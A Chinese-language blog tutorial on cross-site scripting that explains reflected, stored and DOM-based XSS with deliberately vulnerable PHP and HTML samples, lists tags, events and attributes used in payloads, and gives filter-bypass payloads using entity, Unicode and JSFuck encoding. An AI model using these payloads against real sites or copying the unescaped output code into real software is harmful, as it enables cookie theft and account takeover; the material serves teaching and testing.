阅读 186

xss-代码角度理解与绕过filter

xss-代码角度理解与绕过filter

0x00 原理

  xss全称为cross site scripting,中文为跨站脚本攻击。它允许web用户将恶意代码植入到提供给用户使用的页面。代码包括HTML代码和客户端脚本。

0x01 危害

  • 盗取用户账户(获取cookie)

  • 控制网页数据

  • 盗窃企业资料

  • 非法转账

  • 强制发送电子邮件

  • 网站挂马

  • 控制受害者机器向其他网站发起攻击

0x02 xss类别以及代码实现

0x02.1 反射型xss

  反射型xss也叫非持久性xss,是一种常见的xss漏洞,但是危害较小。

后端代码

PHP

<?php
  highlight_file('reflect_xss.php');  $user=$_GET['user'];  echo $user;?>

前端测试


可以看到我们的js代码被直接插入进了页面执行。

根据需求可以构造各种各样的js代码



因为没设置cookie 所以不弹cookie

0x02.2 存储型xss

  存储型xss也被称做持久型xss,存储xss是最危险的一种跨站脚本。它被服务器接收并储存,用户访问该网页,这段xss就会被读取出来到浏览器。
一般出现在留言板

后端代码(拆了dvwa的xss存储做测试)

PHP

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );	$name    = trim( $_POST[ 'txtName' ] );	// Sanitize message input
	$message = stripslashes( $message );	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );	//mysql_close();}?>

审计源码 我们可以发现,先检测了用户是否输入,然后对输入的名字和内容进行检测,最后将值插入到数据库中

前端测试


在当前页面刷新后,会重新进行sql查询,将查询到的结果返回到页面上。


所以可以通过这种方式去获取他人cookie,实现登录他人账号。

0x02.3 dom型xss

  dom型xss只发生在客户端处理数据阶段,可认为dom型xss就是出现在javascript中的漏洞。

前端代码

HTML

<html><head><title>aa</title></head><body><script>
	var temp=document.URL;	var index=document.URL.indexOf("content=")+4;	var par=temp.substring(index);	document.write(decodeURI(par));</script></body></html>

关键是script标签下的代码,因为用到了document.write 使得用户输入的代码被写入到了页面上。

前端测试


0x03 xss常见payload中用到的标签

HTML

<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input> <select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio><style>

0x04 xss常见payload中用到的事件

onload 
onunload 
onchange 
onsubmit 
onreset 
onselect 
onblur 
onfocus 
onabort 
onkeydown 
onkeypress 
onkeyup 
onclick 
ondbclick 
onmouseover 
onmousemove 
onmouseout 
onmouseup 
onforminput 
onformchange 
ondrag 
ondrop

0x05 xss常见payload中用到的属性

formaction 
action 
href 
xlink:href 
autofocus 
src 
content 
data

0x06 xss绕过的一些技巧

属性与属性之间需要空格,而属性与标签之间可以不用

  • <img/src=x onerror=alert(1)> 通杀各种xss漏洞

使用html实体编码

  • <a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M 一般用于dom型

xlink:href隐藏链接

  • <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 通杀

jsfuck编码弹窗

  • <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> 一般用于dom型
    网站: http://www.jsfuck.com/

并不需要规范的script

  • <script ????>alert(1)</script> 通杀

使用unicode编码+html实体编码

  • <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061lert(/XSS/)></script> 一般用到html实体编码的只能杀dom型

使用unicode编码

  • <script>\u0061\u006c\u0065\u0072\u0074(/\u002f\u0078\u0073\u0073\u002f/)</script> 通杀


__EOF__

  • 本文作者: Dark1nt

  • 本文链接: https://www.cnblogs.com/Dark1nt/p/14852560.html


文章分类
后端
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐